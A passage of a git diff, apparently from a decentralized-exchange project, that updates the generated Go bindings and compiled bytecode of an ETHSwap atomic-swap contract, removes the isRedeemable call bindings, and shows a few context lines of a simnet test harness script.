a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff16908111156103c5576103c5610999565b60038111156103d6576103d6610999565b90525092915050565b3233146103fe5760405162461bcd60e51b81526004016101eb90610b7c565b6000805b8281101561059c573684848381811061041d5761041d610ba6565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161047b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101eb565b81356104bd5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101eb565b60006005820154600160a01b900460ff1660038111156104df576104df610999565b146105175760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101eb565b436002820155813560038201556004810180546001600160a01b031916331790556105486060830160408401610bbc565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105859085610bfb565b93505050808061059490610c13565b915050610402565b503481146102ff5760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101eb565b60006001600084815260208190526040902060050154600160a01b900460ff16600381111561060757610607610999565b14801561062d57506000838152602081905260409020600501546001600160a01b031633145b80156106a657508260028360405160200161064a91815260200190565b60408051601f198184030181529082905261066491610c2c565b602060405180830381855afa158015610681573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906106a49190610c67565b145b9392505050565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156106dd576106dd610999565b1480156106a657506003015442101592915050565b3233146107115760405162461bcd60e51b81526004016101eb90610b7c565b6000805b828110156108e9573684848381811061073057610730610ba6565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561077157610771610999565b146107aa5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101eb565b60058101546001600160a01b031633146107f85760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101eb565b81602001356002836000013560405160200161081691815260200190565b60408051601f198184030181529082905261083091610c2c565b602060405180830381855afa15801561084d573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906108709190610c67565b146108aa5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101eb565b60058101805460ff60a01b1916600160a11b1790558135815560018101546108d29085610bfb565b9350505080806108e190610c13565b915050610715565b50604051600090339083908381818185875af1925050503d806000811461092c576040519150601f19603f3d011682016040523d82523d6000602084013e610931565b606091505b509091505060018115151461097a5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b50505050565b60006020828403121561099257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106109cd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610a2f60c08401826109af565b5092915050565b60008060208385031215610a4957600080fd5b823567ffffffffffffffff80821115610a6157600080fd5b818501915085601f830112610a7557600080fd5b813581811115610a8457600080fd5b8660208260071b8501011115610a9957600080fd5b60209290920196919550909350505050565b60008060408385031215610abe57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610b0d60c08301846109af565b98975050505050505050565b60008060208385031215610b2c57600080fd5b823567ffffffffffffffff80821115610b4457600080fd5b818501915085601f830112610b5857600080fd5b813581811115610b6757600080fd5b8660208260061b8501011115610a9957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610bce57600080fd5b81356001600160a01b03811681146106a657600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610c0e57610c0e610be5565b500190565b600060018201610c2557610c25610be5565b5060010190565b6000825160005b81811015610c4d5760208186018101518583015201610c33565b81811115610c5c576000828501525b509190910192915050565b600060208284031215610c7957600080fd5b505191905056fea26469706673582212209c8d8d137b7639af24fe8215dd5976b16323176cb4b9be076c90eeb32eaf744664736f6c634300080f0033" +const ETHSwapRuntimeBin = "6080604052600436106100555760003560e01c80637249fbb61461005a57806376467cbd1461007c578063a8793f94146100b2578063d0f761c0146100c5578063eb84e7f2146100f5578063f4fd17f914610171575b600080fd5b34801561006657600080fd5b5061007a610075366004610871565b610191565b005b34801561008857600080fd5b5061009c610097366004610871565b6102c9565b6040516100a991906108c2565b60405180910390f35b61007a6100c0366004610927565b6103a4565b3480156100d157600080fd5b506100e56100e0366004610871565b61059b565b60405190151581526020016100a9565b34801561010157600080fd5b5061015e610110366004610871565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100a9979695949392919061099c565b34801561017d57600080fd5b5061007a61018c3660046109e8565b6105e3565b3233146101b95760405162461bcd60e51b81526004016101b090610a4b565b60405180910390fd5b6101c28161059b565b6101ff5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101b0565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d8060008114610276576040519150601f19603f3d011682016040523d82523d6000602084013e61027b565b606091505b50909150506001811515146102c45760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b505050565b6103066040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561038a5761038a61088a565b600381111561039b5761039b61088a565b90525092915050565b3233146103c35760405162461bcd60e51b81526004016101b090610a4b565b6000805b8281101561056157368484838181106103e2576103e2610a75565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104405760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101b0565b81356104825760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101b0565b60006005820154600160a01b900460ff1660038111156104a4576104a461088a565b146104dc5760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101b0565b436002820155813560038201556004810180546001600160a01b0319163317905561050d6060830160408401610a8b565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561054a9085610aca565b93505050808061055990610ae3565b9150506103c7565b503481146102c45760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101b0565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156105cb576105cb61088a565b1480156105dc575080600301544210155b9392505050565b3233146106025760405162461bcd60e51b81526004016101b090610a4b565b6000805b828110156107da573684848381811061062157610621610a75565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff1660038111156106625761066261088a565b1461069b5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101b0565b60058101546001600160a01b031633146106e95760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101b0565b81602001356002836000013560405160200161070791815260200190565b60408051601f198184030181529082905261072191610afc565b602060405180830381855afa15801561073e573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906107619190610b2b565b1461079b5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101b0565b60058101805460ff60a01b1916600160a11b1790558135815560018101546107c39085610aca565b9350505080806107d290610ae3565b915050610606565b50604051600090339083908381818185875af1925050503d806000811461081d576040519150601f19603f3d011682016040523d82523d6000602084013e610822565b606091505b509091505060018115151461086b5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b50505050565b60006020828403121561088357600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106108be57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015161092060c08401826108a0565b5092915050565b6000806020838503121561093a57600080fd5b823567ffffffffffffffff8082111561095257600080fd5b818501915085601f83011261096657600080fd5b81358181111561097557600080fd5b8660208260071b850101111561098a57600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e081016109dc60c08301846108a0565b98975050505050505050565b600080602083850312156109fb57600080fd5b823567ffffffffffffffff80821115610a1357600080fd5b818501915085601f830112610a2757600080fd5b813581811115610a3657600080fd5b8660208260061b850101111561098a57600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610a9d57600080fd5b81356001600160a01b03811681146105dc57600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610add57610add610ab4565b92915050565b600060018201610af557610af5610ab4565b5060010190565b6000825160005b81811015610b1d5760208186018101518583015201610b03565b506000920191825250919050565b600060208284031215610b3d57600080fd5b505191905056fea2646970667358221220d288c9a18362adf67607179f5c8585d0abe014bdb904b6e878451ac0c393a04364736f6c63430008120033" diff --git a/dex/networks/eth/contracts/v0/contract.go b/dex/networks/eth/contracts/v0/contract.go index 6eeeda5880..d11ea6cff3 100644 --- a/dex/networks/eth/contracts/v0/contract.go +++ b/dex/networks/eth/contracts/v0/contract.go @@ -55,8 +55,8 @@ type ETHSwapSwap struct { // ETHSwapMetaData contains all meta data concerning the ETHSwap contract. var ETHSwapMetaData = &bind.MetaData{ - ABI: "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"internalType\":\"structETHSwap.Initiation[]\",\"name\":\"initiations\",\"type\":\"tuple[]\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"}],\"name\":\"isRedeemable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"isRefundable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"internalType\":\"structETHSwap.Redemption[]\",\"name\":\"redemptions\",\"type\":\"tuple[]\"}],\"name\":\"redeem\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"swap\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"internalType\":\"structETHSwap.Swap\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"swaps\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]", - Bin: "0x608060405234801561001057600080fd5b50610cb6806100206000396000f3fe6080604052600436106100705760003560e01c8063bfd2fd971161004e578063bfd2fd97146100e0578063d0f761c014610110578063eb84e7f214610130578063f4fd17f9146101ac57600080fd5b80637249fbb61461007557806376467cbd14610097578063a8793f94146100cd575b600080fd5b34801561008157600080fd5b50610095610090366004610980565b6101cc565b005b3480156100a357600080fd5b506100b76100b2366004610980565b610304565b6040516100c491906109d1565b60405180910390f35b6100956100db366004610a36565b6103df565b3480156100ec57600080fd5b506101006100fb366004610aab565b6105d6565b60405190151581526020016100c4565b34801561011c57600080fd5b5061010061012b366004610980565b6106ad565b34801561013c57600080fd5b5061019961014b366004610980565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c49796959493929190610acd565b3480156101b857600080fd5b506100956101c7366004610b19565b6106f2565b3233146101f45760405162461bcd60e51b81526004016101eb90610b7c565b60405180910390fd5b6101fd816106ad565b61023a5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101eb565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d80600081146102b1576040519150601f19603f3d011682016040523d82523d6000602084013e6102b6565b606091505b50909150506001811515146102ff5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b505050565b6103416040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff16908111156103c5576103c5610999565b60038111156103d6576103d6610999565b90525092915050565b3233146103fe5760405162461bcd60e51b81526004016101eb90610b7c565b6000805b8281101561059c573684848381811061041d5761041d610ba6565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161047b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101eb565b81356104bd5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101eb565b60006005820154600160a01b900460ff1660038111156104df576104df610999565b146105175760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101eb565b436002820155813560038201556004810180546001600160a01b031916331790556105486060830160408401610bbc565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105859085610bfb565b93505050808061059490610c13565b915050610402565b503481146102ff5760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101eb565b60006001600084815260208190526040902060050154600160a01b900460ff16600381111561060757610607610999565b14801561062d57506000838152602081905260409020600501546001600160a01b031633145b80156106a657508260028360405160200161064a91815260200190565b60408051601f198184030181529082905261066491610c2c565b602060405180830381855afa158015610681573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906106a49190610c67565b145b9392505050565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156106dd576106dd610999565b1480156106a657506003015442101592915050565b3233146107115760405162461bcd60e51b81526004016101eb90610b7c565b6000805b828110156108e9573684848381811061073057610730610ba6565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561077157610771610999565b146107aa5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101eb565b60058101546001600160a01b031633146107f85760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101eb565b81602001356002836000013560405160200161081691815260200190565b60408051601f198184030181529082905261083091610c2c565b602060405180830381855afa15801561084d573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906108709190610c67565b146108aa5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101eb565b60058101805460ff60a01b1916600160a11b1790558135815560018101546108d29085610bfb565b9350505080806108e190610c13565b915050610715565b50604051600090339083908381818185875af1925050503d806000811461092c576040519150601f19603f3d011682016040523d82523d6000602084013e610931565b606091505b509091505060018115151461097a5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b50505050565b60006020828403121561099257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106109cd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610a2f60c08401826109af565b5092915050565b60008060208385031215610a4957600080fd5b823567ffffffffffffffff80821115610a6157600080fd5b818501915085601f830112610a7557600080fd5b813581811115610a8457600080fd5b8660208260071b8501011115610a9957600080fd5b60209290920196919550909350505050565b60008060408385031215610abe57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610b0d60c08301846109af565b98975050505050505050565b60008060208385031215610b2c57600080fd5b823567ffffffffffffffff80821115610b4457600080fd5b818501915085601f830112610b5857600080fd5b813581811115610b6757600080fd5b8660208260061b8501011115610a9957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610bce57600080fd5b81356001600160a01b03811681146106a657600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610c0e57610c0e610be5565b500190565b600060018201610c2557610c25610be5565b5060010190565b6000825160005b81811015610c4d5760208186018101518583015201610c33565b81811115610c5c576000828501525b509190910192915050565b600060208284031215610c7957600080fd5b505191905056fea26469706673582212209c8d8d137b7639af24fe8215dd5976b16323176cb4b9be076c90eeb32eaf744664736f6c634300080f0033", + ABI: "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"internalType\":\"structETHSwap.Initiation[]\",\"name\":\"initiations\",\"type\":\"tuple[]\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"isRefundable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"internalType\":\"structETHSwap.Redemption[]\",\"name\":\"redemptions\",\"type\":\"tuple[]\"}],\"name\":\"redeem\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"swap\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"internalType\":\"structETHSwap.Swap\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"swaps\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumETHSwap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]", + Bin: "0x608060405234801561001057600080fd5b50610b7a806100206000396000f3fe6080604052600436106100555760003560e01c80637249fbb61461005a57806376467cbd1461007c578063a8793f94146100b2578063d0f761c0146100c5578063eb84e7f2146100f5578063f4fd17f914610171575b600080fd5b34801561006657600080fd5b5061007a610075366004610871565b610191565b005b34801561008857600080fd5b5061009c610097366004610871565b6102c9565b6040516100a991906108c2565b60405180910390f35b61007a6100c0366004610927565b6103a4565b3480156100d157600080fd5b506100e56100e0366004610871565b61059b565b60405190151581526020016100a9565b34801561010157600080fd5b5061015e610110366004610871565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100a9979695949392919061099c565b34801561017d57600080fd5b5061007a61018c3660046109e8565b6105e3565b3233146101b95760405162461bcd60e51b81526004016101b090610a4b565b60405180910390fd5b6101c28161059b565b6101ff5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101b0565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d8060008114610276576040519150601f19603f3d011682016040523d82523d6000602084013e61027b565b606091505b50909150506001811515146102c45760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b505050565b6103066040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561038a5761038a61088a565b600381111561039b5761039b61088a565b90525092915050565b3233146103c35760405162461bcd60e51b81526004016101b090610a4b565b6000805b8281101561056157368484838181106103e2576103e2610a75565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104405760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101b0565b81356104825760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101b0565b60006005820154600160a01b900460ff1660038111156104a4576104a461088a565b146104dc5760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101b0565b436002820155813560038201556004810180546001600160a01b0319163317905561050d6060830160408401610a8b565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561054a9085610aca565b93505050808061055990610ae3565b9150506103c7565b503481146102c45760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101b0565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156105cb576105cb61088a565b1480156105dc575080600301544210155b9392505050565b3233146106025760405162461bcd60e51b81526004016101b090610a4b565b6000805b828110156107da573684848381811061062157610621610a75565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff1660038111156106625761066261088a565b1461069b5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101b0565b60058101546001600160a01b031633146106e95760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101b0565b81602001356002836000013560405160200161070791815260200190565b60408051601f198184030181529082905261072191610afc565b602060405180830381855afa15801561073e573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906107619190610b2b565b1461079b5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101b0565b60058101805460ff60a01b1916600160a11b1790558135815560018101546107c39085610aca565b9350505080806107d290610ae3565b915050610606565b50604051600090339083908381818185875af1925050503d806000811461081d576040519150601f19603f3d011682016040523d82523d6000602084013e610822565b606091505b509091505060018115151461086b5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b50505050565b60006020828403121561088357600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106108be57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015161092060c08401826108a0565b5092915050565b6000806020838503121561093a57600080fd5b823567ffffffffffffffff8082111561095257600080fd5b818501915085601f83011261096657600080fd5b81358181111561097557600080fd5b8660208260071b850101111561098a57600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e081016109dc60c08301846108a0565b98975050505050505050565b600080602083850312156109fb57600080fd5b823567ffffffffffffffff80821115610a1357600080fd5b818501915085601f830112610a2757600080fd5b813581811115610a3657600080fd5b8660208260061b850101111561098a57600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610a9d57600080fd5b81356001600160a01b03811681146105dc57600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610add57610add610ab4565b92915050565b600060018201610af557610af5610ab4565b5060010190565b6000825160005b81811015610b1d5760208186018101518583015201610b03565b506000920191825250919050565b600060208284031215610b3d57600080fd5b505191905056fea2646970667358221220d288c9a18362adf67607179f5c8585d0abe014bdb904b6e878451ac0c393a04364736f6c63430008120033", } // ETHSwapABI is the input ABI used to generate the binding from. @@ -226,37 +226,6 @@ func (_ETHSwap *ETHSwapTransactorRaw) Transact(opts *bind.TransactOpts, method s return _ETHSwap.Contract.contract.Transact(opts, method, params...) } -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ETHSwap *ETHSwapCaller) IsRedeemable(opts *bind.CallOpts, secretHash [32]byte, secret [32]byte) (bool, error) { - var out []interface{} - err := _ETHSwap.contract.Call(opts, &out, "isRedeemable", secretHash, secret) - - if err != nil { - return *new(bool), err - } - - out0 := *abi.ConvertType(out[0], new(bool)).(*bool) - - return out0, err - -} - -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ETHSwap *ETHSwapSession) IsRedeemable(secretHash [32]byte, secret [32]byte) (bool, error) { - return _ETHSwap.Contract.IsRedeemable(&_ETHSwap.CallOpts, secretHash, secret) -} - -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ETHSwap *ETHSwapCallerSession) IsRedeemable(secretHash [32]byte, secret [32]byte) (bool, error) { - return _ETHSwap.Contract.IsRedeemable(&_ETHSwap.CallOpts, secretHash, secret) -} - // IsRefundable is a free data retrieval call binding the contract method 0xd0f761c0. // // Solidity: function isRefundable(bytes32 secretHash) view returns(bool) diff --git a/dex/testing/eth/harness.sh b/dex/testing/eth/harness.sh index 83b34e1e37..2553811b1a 100755 --- a/dex/testing/eth/harness.sh +++ b/dex/testing/eth/harness.sh @@ -50,9 +50,9 @@ export DELTA_WS_PORT="38557" # TESTING_ADDRESS is used by the client's internal node. TESTING_ADDRESS="b6de8bb5ed28e6be6d671975cad20c03931be981" SIMNET_TOKEN_ADDRESS="946dfaB1AD7caCFeF77dE70ea68819a30acD4577" 